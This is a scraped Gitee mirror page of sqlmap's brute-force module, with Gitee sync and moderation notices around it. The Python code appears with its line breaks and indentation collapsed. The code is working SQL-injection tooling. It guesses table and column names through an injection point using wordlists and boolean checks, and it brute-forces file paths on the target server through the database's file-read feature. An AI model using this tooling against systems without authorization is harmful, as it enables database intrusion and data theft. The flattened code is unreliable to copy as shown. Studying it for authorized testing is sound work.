This action will force synchronization from yeqingchen1/sqlmap, which will overwrite any changes that you have made since you forked the repository, and can not be recovered!!!
Synchronous operation will process in the background and will refresh the page when finishing processing. Please be patient.
#!/usr/bin/env python"""Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)See the file 'LICENSE' for copying permission"""from __future__ import divisionimport loggingimport timefrom lib.core.common import Backendfrom lib.core.common import clearConsoleLinefrom lib.core.common import dataToStdoutfrom lib.core.common import filterListValuefrom lib.core.common import getFileItemsfrom lib.core.common import getPageWordSetfrom lib.core.common import hashDBWritefrom lib.core.common import isNoneValuefrom lib.core.common import ntToPosixSlashesfrom lib.core.common import popValuefrom lib.core.common import pushValuefrom lib.core.common import randomIntfrom lib.core.common import randomStrfrom lib.core.common import readInputfrom lib.core.common import safeSQLIdentificatorNamingfrom lib.core.common import safeStringFormatfrom lib.core.common import unArrayizeValuefrom lib.core.common import unsafeSQLIdentificatorNamingfrom lib.core.data import conffrom lib.core.data import kbfrom lib.core.data import loggerfrom lib.core.decorators import stackedmethodfrom lib.core.enums import DBMSfrom lib.core.enums import HASHDB_KEYSfrom lib.core.enums import PAYLOADfrom lib.core.exception import SqlmapDataExceptionfrom lib.core.exception import SqlmapMissingMandatoryOptionExceptionfrom lib.core.exception import SqlmapNoneDataExceptionfrom lib.core.settings import BRUTE_COLUMN_EXISTS_TEMPLATEfrom lib.core.settings import BRUTE_TABLE_EXISTS_TEMPLATEfrom lib.core.settings import METADB_SUFFIXfrom lib.core.threads import getCurrentThreadDatafrom lib.core.threads import runThreadsfrom lib.request import injectdef _addPageTextWords():wordsList = []infoMsg = "adding words used on web page to the check list"logger.info(infoMsg)pageWords = getPageWordSet(kb.originalPage)for word in pageWords:word = word.lower()if len(word) > 2 and not word[0].isdigit() and word not in wordsList:wordsList.append(word)return wordsList@stackedmethoddef tableExists(tableFile, regex=None):if kb.tableExistsChoice is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct:warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED])warnMsg += "for common table existence check"logger.warn(warnMsg)message = "are you sure you want to continue? [y/N] "kb.tableExistsChoice = readInput(message, default='N', boolean=True)if not kb.tableExistsChoice:return Noneresult = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), randomStr())))if result:errMsg = "can't use table existence check because of detected invalid results "errMsg += "(most likely caused by inability of the used injection "errMsg += "to distinguish erroneous results)"raise SqlmapDataException(errMsg)pushValue(conf.db)if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):conf.db = conf.db.upper()message = "which common tables (wordlist) file do you want to use?\n"message += "[1] default '%s' (press Enter)\n" % tableFilemessage += "[2] custom"choice = readInput(message, default='1')if choice == '2':message = "what's the custom common tables file location?\n"tableFile = readInput(message) or tableFileinfoMsg = "performing table existence using items from '%s'" % tableFilelogger.info(infoMsg)tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS,), unique=True)tables.extend(_addPageTextWords())tables = filterListValue(tables, regex)for conf.db in (conf.db.split(',') if conf.db else [conf.db]):if conf.db:infoMsg = "checking database '%s'" % conf.dblogger.info(infoMsg)threadData = getCurrentThreadData()threadData.shared.count = 0threadData.shared.limit = len(tables)threadData.shared.files = []threadData.shared.unique = set()def tableExistsThread():threadData = getCurrentThreadData()while kb.threadContinue:kb.locks.count.acquire()if threadData.shared.count < threadData.shared.limit:table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True)threadData.shared.count += 1kb.locks.count.release()else:kb.locks.count.release()breakif conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):fullTableName = "%s.%s" % (conf.db, table)else:fullTableName = tableresult = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName)))kb.locks.io.acquire()if result and table.lower() not in threadData.shared.unique:threadData.shared.files.append(table)threadData.shared.unique.add(table.lower())if conf.verbose in (1, 2) and not conf.api:clearConsoleLine(True)infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table))dataToStdout(infoMsg, True)if conf.verbose in (1, 2):status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit))dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)kb.locks.io.release()try:runThreads(conf.threads, tableExistsThread, threadChoice=True)except KeyboardInterrupt:warnMsg = "user aborted during table existence "warnMsg += "check. sqlmap will display partial output"logger.warn(warnMsg)clearConsoleLine(True)dataToStdout("\n")if not threadData.shared.files:warnMsg = "no table(s) found"if conf.db:warnMsg += "for database '%s'" % conf.dblogger.warn(warnMsg)else:for item in threadData.shared.files:if conf.db not in kb.data.cachedTables:kb.data.cachedTables[conf.db] = [item]else:kb.data.cachedTables[conf.db].append(item)for _ in ((conf.db, item) for item in threadData.shared.files):if _ not in kb.brute.tables:kb.brute.tables.append(_)conf.db = popValue()hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True)return kb.data.cachedTablesdef columnExists(columnFile, regex=None):if kb.columnExistsChoice is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct:warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED])warnMsg += "for common column existence check"logger.warn(warnMsg)message = "are you sure you want to continue? [y/N] "kb.columnExistsChoice = readInput(message, default='N', boolean=True)if not kb.columnExistsChoice:return Noneif not conf.tbl:errMsg = "missing table parameter"raise SqlmapMissingMandatoryOptionException(errMsg)if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):conf.db = conf.db.upper()result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr())))if result:errMsg = "can't use column existence check because of detected invalid results "errMsg += "(most likely caused by inability of the used injection "errMsg += "to distinguish erroneous results)"raise SqlmapDataException(errMsg)message = "which common columns (wordlist) file do you want to use?\n"message += "[1] default '%s' (press Enter)\n" % columnFilemessage += "[2] custom"choice = readInput(message, default='1')if choice == '2':message = "what's the custom common columns file location?\n"columnFile = readInput(message) or columnFileinfoMsg = "checking column existence using items from '%s'" % columnFilelogger.info(infoMsg)columns = getFileItems(columnFile, unique=True)columns.extend(_addPageTextWords())columns = filterListValue(columns, regex)table = safeSQLIdentificatorNaming(conf.tbl, True)if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table)kb.threadContinue = Truekb.bruteMode = TruethreadData = getCurrentThreadData()threadData.shared.count = 0threadData.shared.limit = len(columns)threadData.shared.files = []def columnExistsThread():threadData = getCurrentThreadData()while kb.threadContinue:kb.locks.count.acquire()if threadData.shared.count < threadData.shared.limit:column = safeSQLIdentificatorNaming(columns[threadData.shared.count])threadData.shared.count += 1kb.locks.count.release()else:kb.locks.count.release()breakresult = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table)))kb.locks.io.acquire()if result:threadData.shared.files.append(column)if conf.verbose in (1, 2) and not conf.api:clearConsoleLine(True)infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column))dataToStdout(infoMsg, True)if conf.verbose in (1, 2):status = "%d/%d items (%d%%)" % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit))dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)kb.locks.io.release()try:runThreads(conf.threads, columnExistsThread, threadChoice=True)except KeyboardInterrupt:warnMsg = "user aborted during column existence "warnMsg += "check. sqlmap will display partial output"logger.warn(warnMsg)finally:kb.bruteMode = FalseclearConsoleLine(True)dataToStdout("\n")if not threadData.shared.files:warnMsg = "no column(s) found"logger.warn(warnMsg)else:columns = {}for column in threadData.shared.files:if Backend.getIdentifiedDbms() in (DBMS.MYSQL,):result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column)))else:result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column)))if result:columns[column] = "numeric"else:columns[column] = "non-numeric"kb.data.cachedColumns[conf.db] = {conf.tbl: columns}for _ in ((conf.db, conf.tbl, item[0], item[1]) for item in columns.items()):if _ not in kb.brute.columns:kb.brute.columns.append(_)hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True)return kb.data.cachedColumns@stackedmethoddef fileExists(pathFile):retVal = []message = "which common files file do you want to use?\n"message += "[1] default '%s' (press Enter)\n" % pathFilemessage += "[2] custom"choice = readInput(message, default='1')if choice == '2':message = "what's the custom common files file location?\n"pathFile = readInput(message) or pathFileinfoMsg = "checking files existence using items from '%s'" % pathFilelogger.info(infoMsg)paths = getFileItems(pathFile, unique=True)kb.bruteMode = Truetry:conf.dbmsHandler.readFile(randomStr())except SqlmapNoneDataException:passexcept:kb.bruteMode = FalseraisethreadData = getCurrentThreadData()threadData.shared.count = 0threadData.shared.limit = len(paths)threadData.shared.files = []def fileExistsThread():threadData = getCurrentThreadData()while kb.threadContinue:kb.locks.count.acquire()if threadData.shared.count < threadData.shared.limit:path = ntToPosixSlashes(paths[threadData.shared.count])threadData.shared.count += 1kb.locks.count.release()else:kb.locks.count.release()breaktry:result = unArrayizeValue(conf.dbmsHandler.readFile(path))except SqlmapNoneDataException:result = Nonekb.locks.io.acquire()if not isNoneValue(result):threadData.shared.files.append(result)if not conf.api:clearConsoleLine(True)infoMsg = "[%s] [INFO] retrieved: '%s'\n" % (time.strftime("%X"), path)dataToStdout(infoMsg, True)if conf.verbose in (1, 2):status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit))dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)kb.locks.io.release()try:pushValue(logger.getEffectiveLevel())logger.setLevel(logging.CRITICAL)runThreads(conf.threads, fileExistsThread, threadChoice=True)except KeyboardInterrupt:warnMsg = "user aborted during file existence "warnMsg += "check. sqlmap will display partial output"logger.warn(warnMsg)finally:kb.bruteMode = Falselogger.setLevel(popValue())clearConsoleLine(True)dataToStdout("\n")if not threadData.shared.files:warnMsg = "no file(s) found"logger.warn(warnMsg)else:retVal = threadData.shared.filesreturn retVal
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。